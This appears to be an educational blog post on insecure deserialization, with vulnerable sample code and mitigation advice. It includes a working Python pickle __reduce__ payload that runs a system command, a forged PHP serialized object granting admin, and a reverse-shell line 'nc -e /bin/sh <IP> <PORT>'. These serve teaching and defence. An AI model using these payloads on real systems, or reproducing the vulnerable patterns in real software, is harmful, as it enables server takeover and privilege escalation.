Let's be honest. In the great world of penetration testing, Insecure Deserialization is like the middle child. It doesn't get the same immediate love as SQL Injection (the golden child) or XSS (the annoying toddler that is everywhere :]). Most developers look at a serialized object and say, "It's just a stream of bytes, what could go wrong?"
If you think passing data back and forth between your server and client is just simple "data transport," you are in for a very wrong impression.
In this blog, we are going to dissect this vulnerability from the absolute basics to the "shell popping" finale. Grab a coffee 🍵 You might need it 😃.

Firstly, What is Serialization Anyway?
Before we break things, we need to understand how they work.
Imagine you have a complex object in your code. Maybe it's a User object with a username, a role, and maybe a stash of API keys. This object lives happily in your computer's memory (RAM). But RAM is volatile, if you turn off the server, the object dies. Tragic.
To save this object (to a file, database, or send it over a network), we need to convert it into a format that can be transported. We turn that living, breathing memory object into a static stream of bytes (or JSON, XML, etc.).
Serialization: Converting a live object => Stream of bytes. (Think: Freezing your French fries).
Deserialization: Converting a stream of bytes => Live object. (Think: Unfreezing French fries).
The Problem: When you unfreeze French fries, you expect French fries. But what if, during transit, someone swapped French fries with some stale food, and you blindly unfroze it inside your living room?
That is Insecure Deserialization.
The Root Cause: Blind Trust
Insecure Deserialization happens when an application blindly deserializes data that came from an untrusted source (like you, the hacker 👀) without verifying what that data actually contains.
The application thinks, "Oh, this is a serialized 'User' object! Let me bring it back to life!" Meanwhile, the attacker has modified the serialized data to say, "Actually, I am a system command that deletes your database. Please execute me." And because the application is polite, it obliges.
Example: Python Pickle
Let's look at some code. Python's pickle library is the poster child for this vulnerability. The documentation literally says, "The pickle module is not secure. Only unpickle data you trust," which developers naturally ignore because reading documentation is for nerds 🫣.
The Vulnerable Code: Here is a simple server script that accepts a pickled object and deserializes it.
import pickle
import base64
# Imagine this data came from a cookie or a POST request
user_input = input("Enter your serialized data: ")
# The app blindly unpickles it.
# "Hey, data! Welcome back to life!"
obj = pickle.loads(base64.b64decode(user_input))The Exploit: Now, how do we weaponize this? In Python, objects can define what happens when they are unpickled using a magic method called __reduce__.
If we define __reduce__ to return a system command, pickle.loads() will execute that command during the reconstruction process. It doesn't even wait for the object to be fully formed.
Here is our malicious script:
import pickle
import base64
import os
class MaliciousPayload:
def __reduce__(self):
# The command we want to run (e.g., pop a shell or list files)
cmd = ('ls -la')
return os.system, (cmd,)
# Create the payload
payload = MaliciousPayload()
# Serialize it (turn it into bytes)
serialized_data = pickle.dumps(payload)
# Encode it so we can copy-paste it easily
print(base64.b64encode(serialized_data).decode())What just happened?
- We created a class MaliciousPayload.
- We told it: "Hey, when someone tries to deserialize you, don't just become an object. Run os.system('ls -la') instead."
- We send this blob to the server.
- The server runs pickle.loads().
- Boom. We got Code execution!
If that command was a reverse shell (nc -e /bin/sh <IP> <PORT>), you now own the server. Congratulations 🤝.
Now, to this, the developers might say, we don't use Python, we use enterprise JAVA or PHP. But let's just know that they aren't safe either from an insecure deserialization vulnerability if not properly implemented.
Let's quickly have a look at the PHP and JAVA example snippets:
PHP Deserialization:
The Vulnerable Code: PHP has "Magic Methods" like __wakeup() or __destruct(). These functions run automatically when an object is created or destroyed.
<?php
class User {
public $username;
public $isAdmin = false;
public function __wakeup() {
// Developer thought this was "safe initialization"
if ($this->isAdmin) {
echo "Welcome admin!\n";
}
}
}
// Serialized user object comes from a cookie (user-controlled)
$data = $_COOKIE['session'];
$user = unserialize($data);The Exploit: To exploit the above scenario, the attacker would set the isAdmin to true value and then serialize the object and send it.
O:4:"User":2:{
s:8:"username";s:5:"guest";
s:7:"isAdmin";b:1;
}What happens next?
- PHP sees object type User
- Instantiates it
- Sets isAdmin = true
- Calls __wakeup()
- App thinks attacker is an admin
No SQL injection. No auth bypass logic bug. Just blind trust in deserialized data.
Below is the secure way to instantiate the object in PHP:
$data = $_COOKIE['session'];
$decoded = json_decode($data, true);
// Explicit validation
if (!is_array($decoded)) {
die("Invalid session");
}
$user = new User();
$user->username = $decoded['username'];
$user->isAdmin = false; // Never trust client inputJAVA Deserialization:
Java is even more notorious (hello, Apache Struts). It uses readObject().
Exploit: Similar to PHP, attackers use tools like ysoserial to generate massive "Gadget Chains" (a Rube Goldberg machine of code) that eventually lead to Runtime.exec(). It's complex, it's messy, and it's surprisingly effective.
Let me know if you want a JAVA example with code…😃
Now let's look at the mitigation stuff:
- The Golden Rule: The only 100% safe way to handle untrusted serialized data is… don't accept it. If you need to pass data between the client and server, use JSON. JSON is just text. It doesn't execute code. It doesn't have magic methods. It's boring, and boring is safe.
- Integrity Checks (Signature): If you must use serialization (because you love living on the edge), you must sign your data. Use an HMAC (Hash-based Message Authentication Code). a) Server sends data + Signature (Hash). b) User sends data + Signature back. c) Server checks: "Does Hash(Data) match the Signature?" If the user tampered with the data (to inject an exploit), the signature won't match. d) The server rejects it.
- Type Constraints (Whitelisting): In Java, you can override ObjectInputStream to only allow specific classes to be deserialized. "I am expecting a User object. If I see a Runtime object, I am shutting this down."
- Run as Low Privilege: If your deserialization code gets popped, make sure the user running that code doesn't have root access. A shell is less fun if you can't read /etc/shadow.
Conclusion
Insecure Deserialization is one of those vulnerabilities that feels like magic until you understand it. It relies entirely on the developer's assumption that "User input is data."
As security professionals, our job is to remind them: User input is code that hasn't been executed yet.
So, the next time you see a base64 string in a cookie or a rO0AB (Java's magic header) in a request body, don't ignore it.
Stay safe, stay informed, and keep coming back for more empowering insights.
Thank you for reading. Knowledge is power, so keep gaining!!